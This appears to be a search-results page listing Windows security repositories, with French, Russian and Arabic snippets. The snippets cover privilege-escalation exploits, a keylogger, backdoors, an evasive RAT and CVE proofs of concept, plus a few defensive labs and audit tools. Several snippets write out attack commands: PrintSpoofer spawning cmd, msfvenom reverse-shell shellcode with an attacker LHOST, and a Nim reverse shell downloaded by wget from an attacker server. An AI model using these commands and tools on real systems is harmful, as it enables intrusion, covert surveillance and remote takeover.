249640 matches found
PrintSpoofer
PrintSpoofer L'exploit PrintSpoofer peut être utilisé pour élever les permissions d'un utilisateur de service sur Windows Server 2016, Server 2019 et Windows 10. Pour élever les privilèges, le compte de service doit disposer des privilèges SeImpersonate. Pour exécuter : PrintSpoofer.exe -i -c cmd...
Windows-Exploit-Suggester-Python3
Windows-Exploit-Suggester-Python3 python3 windows-exploit-suggester.py --update libreoffice --headless --convert-to xls 2021-07-15-mssb.xlsx python3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo systeminfo.txt Exemple : nous devons donc convertir xlsx en xls...
nim-reverse-shell
nim-reverse-shell nim-reverse-shell Exemple : sudo apt install nim mettez à jour le script en conséquence nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop...
MS08-067
MS08-067 | CVE-2008-4250 Ссылка: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Генерация шеллкода Мы будем использовать msfvenom для генерации шеллкода. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...
windows_kernel_shadow_stack
Preuves de concept Ce projet vise à mettre en évidence certains aspects de la mitigation de shadow stack implémentée par Microsoft dans Windows 11. Le code est spécifiquement axé sur Windows 11 24H2. Il peut ne pas fonctionner sur d'autres versions de Windows 11, en raison de la gestion des offse...
keebcap
Keebcap Этот репозиторий содержит код, связанный с этой статьёй, в которой мы рассказываем о создании win32-кейлоггера, поддерживающего все языки, не использующие редакторы метода ввода. Все тесты проводились на Windows 10 22h2. Дерево . keylog code ├── capgks.c sample keylogger using GetKeyState...
Invoke-RunAsWithCert
Invoke-RunAsWithCert Un script PowerShell pour effectuer une authentification PKINIT avec l'API Windows depuis une machine non jointe à un domaine. Description Cette cmdlet crée une nouvelle session d'ouverture de session avec le certificat spécifié via PKINIT. Elle est conçue pour être exécutée...
FUCKER
FUCKER Framework de test de pénétration natif Windows écrit en Go. Architecture modulaire avec moteur de décision piloté par IA API compatible OpenAI. Compilation go build -ldflags="-X main.version=$git describe --tags" -o FUCKER.exe ./cmd/fucker/ Compilation croisée : GOOS=linux GOARCH=amd64 go...
CVE-2026-20841
CVE-2026-20841 PoC PoC de la vulnérabilité « Windows Notepad RCE ». Avertissements 1. Je ne suis PAS celui qui a découvert cette vulnérabilité. Merci aux auteurs originaux listés sur la page de divulgation officielle. J'ai simplement recréé le PoC selon la description. 2. Personnellement, je ne...
Hijack-service-binaries
Hijack-service-binaries Un outil d'audit de sécurité PowerShell qui identifie les binaires de services Windows pouvant être modifiés par l'utilisateur actuel — un vecteur d'élévation de privilèges potentiel. Vue d'ensemble Ce script analyse tous les services Windows à l'exception de system32 et...
BrokenType
BrokenType BrokenType est un ensemble d'outils conçus pour tester la robustesse et la sécurité des logiciels de pixellisation rasterization de polices, en particulier les codebases sujettes aux corruptions mémoire écrites en C/C++ et langages similaires. Il comprend les composants suivants :...
Flowise-CVE-2026-58057-exploit
Flowise CVE-2026-58057 - استغلال تنفيذ الأوامر عن بُعد على ويندوز -orange?style=for-the-b...
CVE-2019-1388-Privilege-Escalation--2021-
CVE-2019-1388 Privilege Escalation CVE-2019-1388 Lab Analysis: Documented local privilege escalation via Windows UAC certificate dialogs on Windows 7. CVE-2019-1388: Windows UAC Privilege Escalation Lab An educational cybersecurity lab and technical analysis documenting CVE-2019-1388 —a local...
CVE-2026-20169
IoT-FND نظرة عامة الميزات اكتشاف الشبكة يقوم الماسح الضوئي بفحص نطاق IP محدد ويبحث عن الأجهزة التي تعرض خدمة الإدارة المتوقعة. أمثلة على الفحوصات: تعداد نطاق IP اختبار توفر منفذ TCP اكتشاف الخدمة التحقق الأساسي من الاتصال التنفيذ الأصلي لنظام Windows مبني باستخدام واجهات برمجة التطبيقات الأصلية...
0net
0net: باب خلفي بسيط للتحكم عن بعد في Windows مقدمة: 0net هو برنامج باب خلفي بسيط للتحكم عن بعد في Windows. العميل مكتوب بلغة C++ وتم تجميعه على vc++6.0. الخادم مكتوب بلغة Python ويمكن استخدامه عبر المنصات. المشروع قيد التطوير حاليًا... شرح المشروع التفصيلي: http://www.s0nnet.com/0net الميزات: دعم...
ZeroRAT
ZeroRAT مقدمة أداة تحكم عن بعد RAT لنظام ويندوز، يحتاج العميل فقط إلى تنفيذ أمر واحد. تستخدم برامج ويندوز الأصلية للتنفيذ، ولا تكتب أي ملفات على القرص، مما يمنحها ميزة الإفلات من برامج مكافحة الفيروسات بشكل طبيعي. لا تصمد بعد إعادة التشغيل. في البرنامج، يتم اعتبار التنزيل download والرفع upload م...
cve-2024-26229
cve-2024-26229 Une version en Nim de la vulnérabilité désormais obsolète d'élévation de privilèges locale sous Windows exploitant CSC. Ceci est uniquement à des fins éducatives, et référez-vous à la liste des correctifs pour déterminer si votre système / votre cible est vulnérable...
nessus-vulnerability-scanning-lab
Laboratoire d'Analyse des Vulnérabilités Nessus — Azure Cycle de vie complet de la gestion des vulnérabilités — analyser, trouver, corriger, vérifier — exécuté sur mon environnement de laboratoire Azure Active Directory en direct à l'aide d'un scanner Nessus dédié déployé avec Terraform. Ce que...